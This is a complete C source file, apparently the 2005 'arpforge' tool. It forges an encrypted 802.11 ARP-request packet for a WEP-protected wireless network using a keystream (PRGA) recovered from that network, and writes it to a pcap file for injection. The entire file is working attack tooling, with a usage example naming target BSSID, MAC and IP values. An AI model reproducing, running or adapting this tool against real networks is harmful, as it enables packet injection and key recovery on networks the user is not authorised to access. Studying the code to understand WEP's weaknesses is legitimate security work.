/*
 *  802.11 ARP-request WEP packet forgery
 *
 *  Copyright (C) 2005  Christophe Devine
 *
 *  This program is free software; you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation; either version 2 of the License, or
 *  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program; if not, write to the Free Software
 *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 */

#include <sys/types.h>
#include <arpa/inet.h>
#include <sys/time.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>

#include "pcap.h"
#include "crctable.h"

#define ARP_REQ \
    "\x08\x40\x02\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \
    "\xFF\xFF\xFF\xFF\xFF\xFF\x80\x01\x55\x55\x55\x55\xAA\xAA\x03\x00" \
    "\x00\x00\x08\x06\x00\x01\x08\x00\x06\x04\x00\x01\xCC\xCC\xCC\xCC" \
    "\xCC\xCC\x11\x11\x11\x11\x00\x00\x00\x00\x00\x00\x22\x22\x22\x22" \
    "\x00\x00\x00\x00"

char usage[] =

"\n"
"  arpforge %d.%d - (C) 2005 Christophe Devine\n"
"\n"
"  usage: arpforge <prga file> <type> <bssid> <mac src>\n"
"                  <ip src> <ip dest> <output filename>\n"
"  example:\n"
"\n"
"  arpforge test.xor 1 00:09:5b:12:40:cc 00:10:2a:cb:30:14\n"
"           192.168.1.100 192.168.1.1 arp-request.cap\n"
"\n";

int getmac( char *s, unsigned char *mac )
{
    int i = 0, n;

    while( sscanf( s, "%x", &n ) == 1 )
    {
        if( n < 0 || n > 255 )
            return( 1 );

        mac[i] = n;

        if( ++i == 6 ) break;

        if( ! ( s = strchr( s, ':' ) ) )
            break;

        s++;
    }

    return( i != 6 );
}

int main( int argc, char *argv[] )
{
    int n;
    unsigned long int crc;
    FILE *f_prga, *f_cap_out;

    unsigned char h80211[128];
    unsigned char bssid[6];
    unsigned char saddr[6];
    unsigned char daddr[6];
    unsigned char ipsrc[4];
    unsigned char ipdst[4];
    unsigned char prga[44];

    struct pcap_file_header pfh;
    struct pcap_pkthdr pkh;
    struct timeval tv;

    if( argc != 8 )
    {
        printf( usage, _MAJ, _MIN );
        return( 1 );
    }

    if( ( f_prga = fopen( argv[1], "rb" ) ) == NULL )
    {
        perror( "fopen(prga file) failed" );
        return( 1 );
    }

    memcpy( h80211, ARP_REQ, pkh.caplen = 68 );

    n = atoi( argv[2] );

    if( n != 1 && n != 2 )
    {
        fprintf( stderr, "Invalid type: must be 1 (ToDS) or 2 (FromDS).\n" );
        return( 1 );
    }

    h80211[1] |= n;

    if( getmac( argv[3], bssid ) != 0 )
    {
        fprintf( stderr, "Invalid BSSID.\n" );
        return( 1 );
    }

    if( getmac( argv[4], saddr ) != 0 )
    {
        fprintf( stderr, "Invalid source MAC.\n" );
        return( 1 );
    }

    memcpy( daddr, "\xFF\xFF\xFF\xFF\xFF\xFF", 6 );

    if( ! inet_aton( argv[5], (struct in_addr *) ipsrc ) )
    {
        fprintf( stderr, "Invalid source IP.\n" );
        return( 1 );
    }

    if( ! inet_aton( argv[6], (struct in_addr *) ipdst ) )
    {
        fprintf( stderr, "Invalid destination IP.\n" );
        return( 1 );
    }

    if( n == 1 )
    {
        memcpy( h80211 +  4, bssid, 6 );
        memcpy( h80211 + 10, saddr, 6 );
        memcpy( h80211 + 16, daddr, 6 );
    }

    if( n == 2 )
    {
        memcpy( h80211 + 10, bssid, 6 );
        memcpy( h80211 + 16, saddr, 6 );
        memcpy( h80211 +  4, daddr, 6 );
    }

    memcpy( h80211 + 44, saddr, 6 );
    memcpy( h80211 + 50, ipsrc, 4 );
    memcpy( h80211 + 60, ipdst, 4 );

    crc = 0xFFFFFFFF;

    for( n = 28; n < 64; n++ )
        crc = crc_tbl[(crc ^ h80211[n]) & 0xFF] ^ (crc >> 8);

    crc = ~crc;

    h80211[64] = (crc      ) & 0xFF;
    h80211[65] = (crc >>  8) & 0xFF;
    h80211[66] = (crc >> 16) & 0xFF;
    h80211[67] = (crc >> 24) & 0xFF;

    if( fread( prga, 44, 1, f_prga ) != 1 )
    {
        fprintf( stderr, "fread(44 bytes) failed - prga too short ?\n" );
        return( 1 );
    }

    memcpy( h80211 + 24, prga, 4 );

    for( n = 28; n < 68; n++ )
        h80211[n] ^= prga[n - 24];

    if( ( f_cap_out = fopen( argv[7], "wb+" ) ) == NULL )
    {
        fprintf( stderr, "failed: fopen(%s,wb+)\n", argv[7] );
        return( 1 );
    }

    pfh.magic           = TCPDUMP_MAGIC;
    pfh.version_major   = PCAP_VERSION_MAJOR;
    pfh.version_minor   = PCAP_VERSION_MINOR;
    pfh.thiszone        = 0;
    pfh.sigfigs         = 0;
    pfh.snaplen         = 65535;
    pfh.linktype        = LINKTYPE_IEEE802_11;

    n = sizeof( struct pcap_file_header );

    if( fwrite( &pfh, 1, n, f_cap_out ) != (size_t) n )
    {
        fprintf( stderr, "failed: fwrite(pcap file header)\n" );
        return( 1 );
    }

    gettimeofday( &tv, NULL );

    pkh.tv_sec  = tv.tv_sec;
    pkh.tv_usec = tv.tv_usec;
    pkh.len     = pkh.caplen;

    n = sizeof( pkh );

    if( fwrite( &pkh, 1, n, f_cap_out ) != (size_t) n )
    {
        fprintf( stderr, "fwrite(packet header) failed\n" );
        return( 1 );
    }

    n = pkh.caplen;

    if( fwrite( h80211, 1, n, f_cap_out ) != (size_t) n )
    {
        fprintf( stderr, "fwrite(packet data) failed\n" );
        return( 1 );
    }

    printf( "Done.\n" );

    return( 0 );
}
